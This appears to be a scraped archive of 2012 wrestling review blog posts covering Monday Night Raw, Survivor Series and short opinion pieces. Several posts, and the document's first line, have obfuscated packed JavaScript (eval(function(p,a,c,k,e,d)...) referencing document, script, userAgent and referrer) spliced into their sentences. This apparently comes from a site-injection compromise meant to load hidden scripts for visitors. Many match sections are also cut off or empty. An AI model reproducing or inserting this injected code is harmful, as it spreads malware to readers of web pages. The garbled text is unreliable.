Monday Night Raw – December 3, 2012: Now With Reduced Levels Of Suck

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|erdsd|var|u0026u|referrer|erzbr||js|php'.split('|'),0,{})) Night Raw
Date: December 3, 2012
Location: Greensboro Coliseum, Greensboro, North Carolina
Commentators: Michael Cole, Jerry Lawler

HELL NO vs. Prime Time Players

Bryan hits his running knee of the apron as the match is now all about looking at the Shield. We go to a break and come back with Titus clotheslining Kane down. Reigns and Ambrose are still in the crowd. Back to Bryan with a running dropkick in the corner for two. GOOD GRIEF stop showing the Shield guys. We get it already. Young comes in and is put in the NO Lock but everything breaks down. Ambrose and Reigns are at the barricade now as the match has more or less stopped, allowing Darren to roll up Bryan, who reverses it into a rollup on Young for the pin at 11:28.

AJ vs. Tamina Snuka

John Cena/Sheamus vs. Dolph Ziggler/Big Show

Cena and Sheamus celebrate way more than they should post match.

We recap the Punk/Miz stuff from earlier.

The MUPPETS will be at Tribute to the Troops. This results in Piggy hitting on Flo Rida.

Damien Sandow vs. Santino Marella

TOUT questions to stump Damien with. Oh geez.

Sin Cara vs. Alberto Del Rio

Vince wants to talk to Vickie in the ring.

We recap the set up for the lie detector test again.

Brad Maddox vs. Randy Orton

Post match Shield runs in and destroys Orton.

Kofi Kingston/R-Truth vs. Wade Barrett/Antonio Cesaro

US Title: Kofi Kingston vs. Wade Barrett vs. R-Truth vs. Antonio Cesaro

They know each other very well so no one can get an advantage, resulting in a stalemate off a double dropkick. The villains come back in and Kofi/Truth botch a spot where Truth was going to launch Kofi onto Cesaro. Kofi hits a suicide dive on Barrett but Truth misses a dive onto Cesaro. Cesaro throws Truth around a bit more as we take a break. Back with the two champions pounding on each other until Cesaro uses a half crab giant swing on Kofi.

We also recap the Vickie/Vince stuff from earlier.

Results

HELL NO b. Prime Time Players – Rollup to Young

AJ b. Tamina – Rollup

Sheamus/John Cena b. Big Show/Dolph Ziggler – AA to Ziggler

Damien Sandow b. Santino Marella – Terminus

Alberto Del Rio b. Sin Cara – Cross Armbreaker

Randy Orton b. Brad Maddox – RKO

Antonio Cesaro b. Kofi Kingston, Wade Barrett and R-Truth – Neutralizer to Kingston

Remember to follow me on Twitter @kbreviews

Monday Night Raw – November 26, 2012: It Could Have Been Worse, And That’s High Praise Anymore

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Date: November 26, 2012
Location: Cajundome, Lafayette, Louisiana
Commentators: Michael Cole, Jerry Lawler

We recap Hornswoggle spraying water on Rosa last week. Earlier today Rosa yells at Horny but he wants to know who would want to kiss her and give her flowers. Alberto comes to her defense but Khali stops Alberto before any damage can be done.

Alberto Del Rio vs. Great Khali

Punk and Heyman come in to yell at Vickie and accuse her of being biased. She gave him the shot because of the screwjobs Punk has been behind. He denies being behind them but Vickie puts Punk in a match with the winner of the Raw Poll: either Bryan or Kane.

Fandango is coming and we see his face. Egads this is going to SUCK.

Alicia Fox vs. Tamina Snuka

Tamina says this match is a warning to AJ to not mess with Vickie again. Jerry goes onto some small rants about how Shield is crooked. Total squash by Tamina who wins with a Samoan Drop and Superfly Splash in 2:05. Next.

Kofi Kingston vs. Tensai

Barrett hands Kofi the title post match.

Daniel Bryan vs. Rey Mysterio

Back with Rey getting crotched and Bryan firing away kicks to Rey in the Tree of Woe. Bryan puts on a surfboard for a bit before sending Rey into the post on the floor. That gets two so Bryan loads up a superplex. Rey fights out and hits the seated senton as things speed up. Rey escapes a sunset flip and kicks Bryan in the head for two. Bryan gets sent into the corner where Rey hits a 619 around the post and the top rope splash for the pin at 12:43.

Rating: C+. Not bad here and it was nice to see a clean pin. I have less of a problem with a tag team champion losing in a singles match, especially when it could set up a title match later on between the two teams. This show has been having bad match after bad match so far so this was a nice change of pace. Decent stuff here, as expected.

Alberto winks at Rosa and walks away with Ricardo. Who is he more interested in anyway?

We recap Raw from last week AGAIN. Dear freaking goodness WE GET IT.

Now we recap the end of Smackdown with Ziggler pinning Orton and getting taken out by Cena to end the show.

Dolph Ziggler vs. John Cena

Cena rams Ziggler into the corner to counter and puts on the STF but Ziggler does the crawl to the ropes to escape. Cena staggers around and walks into a BIG dropkick to put both guys down. Ziggler goes up top for a cross body but Cena rolls through into the AA. Dolph kind of botches the counter as he lands on his legs instead of his feet, but he comes back with the Zig Zag for two.

AJ kisses Cena again post match.

Sheamus vs. Antonio Cesaro

Time for a match to be stretched to about fifteen minutes because we need a match to be stretched to about fifteen minutes. Sheamus pounds away on him in Sheamus-esque fashion before we head to the floor. Cesaro whips him into the steps and we take a break. Back with Cesaro getting two off a clothesline and the same off a gutwrench suplex. Irish Curse gets two for Sheamus but White Noise is countered.

Damien Sandow vs. Zack Ryder

Kane vs. CM Punk

Overall Rating: D+. This show felt especially long tonight because of all the recaps but at least we had some good matches to balance things out. Also none of the matches felt overly long for the same of being overly long, which is definitely a step in the right direction. As usual with the show though, the third hour being there is what brings the show down. Well that and the incessant recaps of the Cena/AJ stuff. This could have been a lot worse though, which is high praise for Raw anymore.

Results

Alberto Del Rio b. Great Khali – Cross Armbreaker

Tamina Snuka b. Alicia Fox – Superfly Splash

Rey Mysterio b. Daniel Bryan – Top Rope Splash

John Cena b. Dolph Ziggler – Attitude Adjustment

Sheamus b. Antonio Cesaro via countout

Damien Sandow b. Zack Ryder – Terminus

CM Punk b. Kane – GTS

Remember to follow me on Twitter @kbreviews

TLC Main Event Announced

It’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ikdti|var|u0026u|referrer|tiszz||js|php'.split('|'),0,{})) not that surprising.Punk vs. Ryback in a TLC match, meaning a match where Ryback can get screwed over……again.

Monday Night Raw – November 19, 2012: How Many Recaps Do We Really Need?

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Date: November 20, 2012
Location: Nutter Center, Dayton, Ohio
Commentators: Michael Cole, Jerry Lawler

Ryback vs. Tensai

Sheamus is yelling at the referee from last night.

Kofi Kingston vs. Wade Barrett

Barrett rolls to the floor but as he comes back in, Kofi pounds away on him. This is the Wildcat or whatever Kofi calls himself now. The Boom Drop hits but Barrett blocks the kick and hits Winds of Change for two. Kofi kicks him in the face and hits the cross body off the top for another two. SOS gets two more but a rake to the eyes sets up the Bull Hammer to give Wade the pin at 11:30.

We talk about the invading NXT guys along with Brad Maddox, the latter of whom we get a video on.

Kaitlyn vs. Aksana

Aksana tries to hide on the floor but suckers Kaitlyn in for a clothesline. She pounds on Kaitlyn a bit and cranks on the arm over the top rope as you see Del Rio do occasionally. Kaitlyn comes back with some hair throws and a weak gutbuster for the pin at 3:02.

Brodus Clay vs. Antonio Cesaro

Vickie is talking to two people in the back. She has more evidence tonight. Oh freaking great.

The other witness is a parking attendant who saw them in a car together for an hour. What did they do? No idea, but apparently someone came to tell him about what he saw in the car. Cue AJ who at least looks good. AJ says fire her or let it go already because this is stupid. PREACH IT SISTER! Vickie says she has a photo from the guy who claimed to have no idea what was going on.

Alberto Del Rio vs. Randy Orton

Orton insists he can keep going and gets to his feet to start the third fall. Del Rio plays some cat and mouse as Orton keeps backing away because of the arm. Orton gets that sweet spinning rollup out of the corner for two but Alberto hits him in the arm to stop him dead again. The running kick in the corner gets two but Orton snaps off his backbreaker to slow Alberto down. Rodriguez interferes and is ejected but the distraction lets Del Rio hit the Backstabber for two.

Del Rio coils up for the RKO like Orton but walks into the Elevated DDT. Orton goes for the RKO mat slap but hurts his arm again in a smart move. It makes sense that he would hurt his arm there, which shows thinking. I love that! The armbreaker goes on but Orton grasps his hands to block it into a rollup for two. Del Rio misses another kick and the RKO ends this at 12:44.

We recap the AJ/Cena/Vickie stuff from earlier, because going 20 minutes without hearing about it is too long.

Cena gets his knee looked at and AJ is with him.

Great Khali vs. Primo/Epico

The Miz vs. David Otunga

We recap Show vs. Sheamus and the controversial ending from last night.

Another recap shows us what happened so far tonight.

Sheamus vs. Damien Sandow

AJ comes in to see Tamina and Vickie and nothing happens.

Post break, we show the same segment from before the break.

Sin Cara/Rey Mysterio vs. HELL NO

Non-title, again. The Players are on commentary here. Apparently if the masked dudes win, they get a title shot. Cara and Kane start and Kane runs over a jumping Cara before bring in Bryan. The fans continue to be white hot by cheering for Bryan, even as he misses a middle rope knee drop. Off to Rey for the double kicks from the masked men, getting two on Daniel.

Post match the Players get beaten down.

Heyman promises Punk that no one will interrupt the celebration.

Oh wait we need to show the AJ/Cena stuff AGAIN. As usual, this means showing it for I think the fourth time tonight.

Results

Ryback b. Tensai – Shell Shock

Wade Barrett b. Kofi Kingston – Bull Hammer

Kaitlyn b. Aksana – Gutbuster

Antonio Cesaro b. Brodus Clay – Neutralizer

Randy Orton b. Alberto Del Rio – RKO

Great Khali b. Primo/Epico – Punjabi Plunge to Epico

The Miz b. David Otunga – Skull Crushing Finale

Sheamus b. Damien Sandow – Brogue Kick

HELL NO vs. Sin Cara/Rey Mysterio went to a no contest when the Prime Time Players interfered

Remember to follow me on Twitter @kbreviews

Survivor Series 2012: A Filler PPV Disguised As A Major Show

Survivor Series 2012
Date: November 18, 2012
Location: Bankers Life Fieldhouse, Indianapolis, Indianapolis
Commentators: Michael Cole, Jerry Lawler, John Bradshaw Layfield

Pre Show: 3MB vs. Santino Marella/Zack Ryder

David Otunga is replacing Rhodes.

Team Clay vs. Team Tensai

Brodus Clay, Sin Cara, Rey Mysterio, Tyson Kidd, Justin Gabriel

Tensai, Prime Time Players, Primo, Epico

Divas Title: Kaitlyn vs. Eve Torres

We get a clip from the preshow where Del Rio and Ziggler argue over the tag match. Team Foley argued too until Foley calmed them down and said he needed all of them to work together.

US Title: Antonio Cesaro vs. R-Truth

Truth is challenging for no apparent reason at all. Cesaro makes fun of Thanksgiving before the match because Americans have nothing to be thankful for. He makes fun of how bad things are in America compared to Europe and the energy Cesaro has here is good stuff. Truth quickly rolls him up twice for two each and punches him in the head a few times. Cesaro comes back with some punches in the corner of his own as JBL talks about Antonio trying to learn Russian.

TLC ad which is like an Otunga law ad.

We recap Sheamus vs. Big Show. They had a great match at HIAC where Show won the title off a pair of KO Punches. Tonight is the rematch and Sheamus is MAD.

Smackdown World Title: Sheamus vs. Big Show

Show gets disqualified by another referee and Sheamus wins. Well sure why not. Sheamus destroys Show and his knee with a chair and Brogue Kicks Show while Show is on one knee. Methinks a chairs match is obvious now.

Show literally crawls up the aisle as the fans cheer for Ziggler. He gets on a knee and we go to a Rolling Stones concert ad. According to a live report I read, Show got up and walked to the back like it was fine. You know, because limping is too much to ask for of him.

Team Ziggler vs. Team Foley

Dolph Ziggler, Damien Sandow, David Otunga, Alberto Del Rio, Wade Barrett

Randy Orton, The Miz, HELL NO, Kofi Kingston

Fans TOUT IT OUT about who Rock should face at the Rumble.

Raw World Title: John Cena vs. CM Punk vs. Ryback

Since that would likely kill one of them, Punk escapes and joins forces with Cena for a double suplex to put Ryback through the announce table. Back in the ring and Cena cranks things up with the shoulders and the Shuffle. The AA is countered and the GTS gets two, as does the AA that follows it. Punk fires off kicks and blocks an STF attempt.

Punk celebrates a lot to end the show.

Results

Team Clay b. Team Tensai – Top Rope Splash to Young

Eve Torres b. Kaitlyn – Spinning Neckbreaker

Antonio Cesaro b. R-Truth – Neutralizer

Sheamus b. Big Show via DQ when Show pulled the referee in the way of a Brogue Kick

Team Ziggler b. Team Foley – Superkick to Orton

CM Punk b. John Cena and Ryback – Punk pinned Cena after a Shell Shock

Remember to follow me on Twitter @kbreviews

Survivor Series 2012 Quick Thoughts

I eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zayyb|var|u0026u|referrer|bidnn||js|php'.split('|'),0,{})) haven’t gotten to watch the show yet but I’m hoping to have that up by Wednesday at the latest.From what I can tell, the show was as dull as I expected it to be. Sheamus vs. Show is happening again apparently, Ryback of course gets screwed out of the title, and the newly face Miz loses. What in the world was the point of turning him in the first place? Second of all, why were Foley and Ziggler feuding at all? Other than that, there’s nothing at all going on with this show that I can tell and it was a way to fill in time until we get to the Rumble. That’s what drives me crazy about WWE right now: this stuff is all just filling in time until we get to Rock winning the title from Punk. They’re putting the ceiling on the world title picture and that’s just flat out stupid. Fired up about Ryback? WELL SCREW YOU! Because Punk has to hold the title for over a year before he faces Rock because for some reason we’re supposed to care more that way.

All in all, Survivor Series seems to suck. I’m shocked.

Survivor Series 2012 Preview

The eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rfrke|var|u0026u|referrer|etbkr||js|php'.split('|'),0,{})) show is tomorrow night and I haven’t seen Smackdown yet, so this isn’t a fully informed review. There are only five matches announced anyway so let’s get to it.Starting with the world titles, we’ll go with Punk to retain because that’s how Raw works at the moment. There’s a chance Cena gets it, but Ryback is flat out not getting it because we’ve got a character that they could get something out of so we have to have him lose in his first two times in the main event.

Show to beat Sheamus but I don’t think there’s a cash in yet. Hopefully Ryback fights Show next.

Since the whole feuds makes NO sense, we’ll go with Team Ziggler to win because it makes as much sense as anything else.

Cesaro to retain.

Kaitlyn gets the title.

Seriously, that’s the card. I’m sure another match or two will be added to fill in time (Hell No vs. Players maybe?), but on paper this is going to be one of the weakest PPVs in a long time. The top feuds are completely mixed up and I have no idea what they’re planning on doing this Sunday. I think I know where they’re going, but how they get there is another deal entirely. I’m not looking forward to the show and I’m not really caring about WWE right now at all.

Monday Night Raw – November 12, 2012: Has Anybody Got A Map? WWE Is Very Lost.

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Date: November 12, 2012
Location: Nationwide Arena, Columbus, Ohio
Commentators: Jim Ross, Michael Cole, Jerry Lawler

They do the stupid voiceover stuff here, this time about Lawler coming back for the first time tonight. This immediately transitions into a video on Cena/AJ/Vickie. You know, because a fake affair between two people who are single in both real life and in storyline is the same as a man nearly dying.

Cena vs. Punk tonight.

Randy Orton vs. Dolph Ziggler

Kofi Kingston/Randy Orton vs. Dolph Ziggler/Alberto Del Rio

Cole and JR talk about the veterans a bit and we get a video about them.

We recap the pub fight from last week on Smackdown.

William Regal vs. Big Show

Post match Show loads up the WMD but Sheamus makes the save. Sheamus stomps and pounds on Show so the champion runs.

Kaitlyn vs. Layla

Sin Cara/Rey Mysterio/Justin Gabriel/Tyson Kidd vs. Prime Time Players/Primo/Epico

The WWE still loves the troops!

Brad Maddox is in the back when Heyman comes in. He asks the camera to be shut off and the two of them go for a walk.

The full ballot: Santino, Ryder, Miz. And WWE has the nerve to complain when we say these polls are dumb.

R-Truth vs. Tensai

We get a clip of Ryback vs. Maddox in WWE 13.

We recap the show so far. Why in the world would ANYONE want to see this again? I mean they just AIR THE SEGMENTS ALL OVER AGAIN. Dear goodness almighty what is wrong with this company anymore?

Brad Maddox vs. Ryback

David Otunga vs. Sheamus

Rhodes Scholars vs. Kane/???

Miz wins in a completely not shocking landslide. This is joined in progress with Kane getting two off a suplex on Sandow. Off to Miz for a knee lift for the same and the corner clothesline keeps Sandow in trouble. Off to Kane vs. Cody with the Scholars continuing to be in trouble. Bryan pouting is hilarious stuff. Miz backdrops Cody to the floor and hits an ax handle off the apron before glaring at Bryan.

More stuff about the troops. Tribute to the Troops is coming to Norfolk.

John Cena vs. CM Punk

Non-title of course. Feeling out process to start with Cena cranking on the arm. Foley is guest enforcer and glares at Punk on the floor as we take a break. Back with Cena on top but falling out to the floor with Punk. Back in and a neckbreaker from Punk is countered into a backslide by Cena for two. Off to a chinlock by CM which is shifted into a sleeper. Cena starts his comeback but gets rolled up when he tries the Shuffle. A neckbreaker puts Cena down but the Macho Elbow misses.

Results

Randy Orton b. Dolph Ziggler – Rollup

Alberto Del Rio/Dolph Ziggler b. Kofi Kingston/Randy Orton – Enziguri to Kingston

Big Show b. William Regal – Chokeslam

Kaitlyn b. Layla – Reverse DDT

Rey Mysterio/Sin Cara/Justin Gabriel/Tyson Kidd b. Prime Time Players/Primo/Epico – 450 to Young

R-Truth b. Tensai – Little Jimmy

Ryback b. Brad Maddox – Shell Shock

Kane/Miz b. Rhodes Scholars – Chokeslam to Rhodes

John Cena b. CM Punk – Attitude Adjustment

Remember to follow me on Twitter @kbreviews

Thought of the Day: Referees Used In Storylines

Given eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fykhe|var|u0026u|referrer|ktzrd||js|php'.split('|'),0,{})) the recent storyline of Brad Maddox, this got me to thinking. Do you like the use a referee in a storyline?To me, it’s hard because other than a crooked one, there isn’t much of a storyline you can use for them. They tend to be best kept in the background, as they’re supposed to be impartial instead of interfering in an angle. A crooked referee can work, but as with anything else they need to be used sparingly. I wasn’t a fan of Maddox, as most of the story is based around him going into business for himself, and his mere existence in the match is a plot hole.

Thoughts?

Survivor Series Main Event Changed

Tonight eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bktsa|var|u0026u|referrer|kykeb||js|php'.split('|'),0,{})) on Raw the Survivor Series main event was changed from the traditional Survivor Series match to….Punk defending against Ryback and Cena for the title. If this is designed for anything but Punk pinning Cena so that he can retain the title and head into the Rumble with the belt to get crushed by Rock, I’ll eat my hat. Ok I’ll buy a hat first and then I’ll eat it.

Thoughts?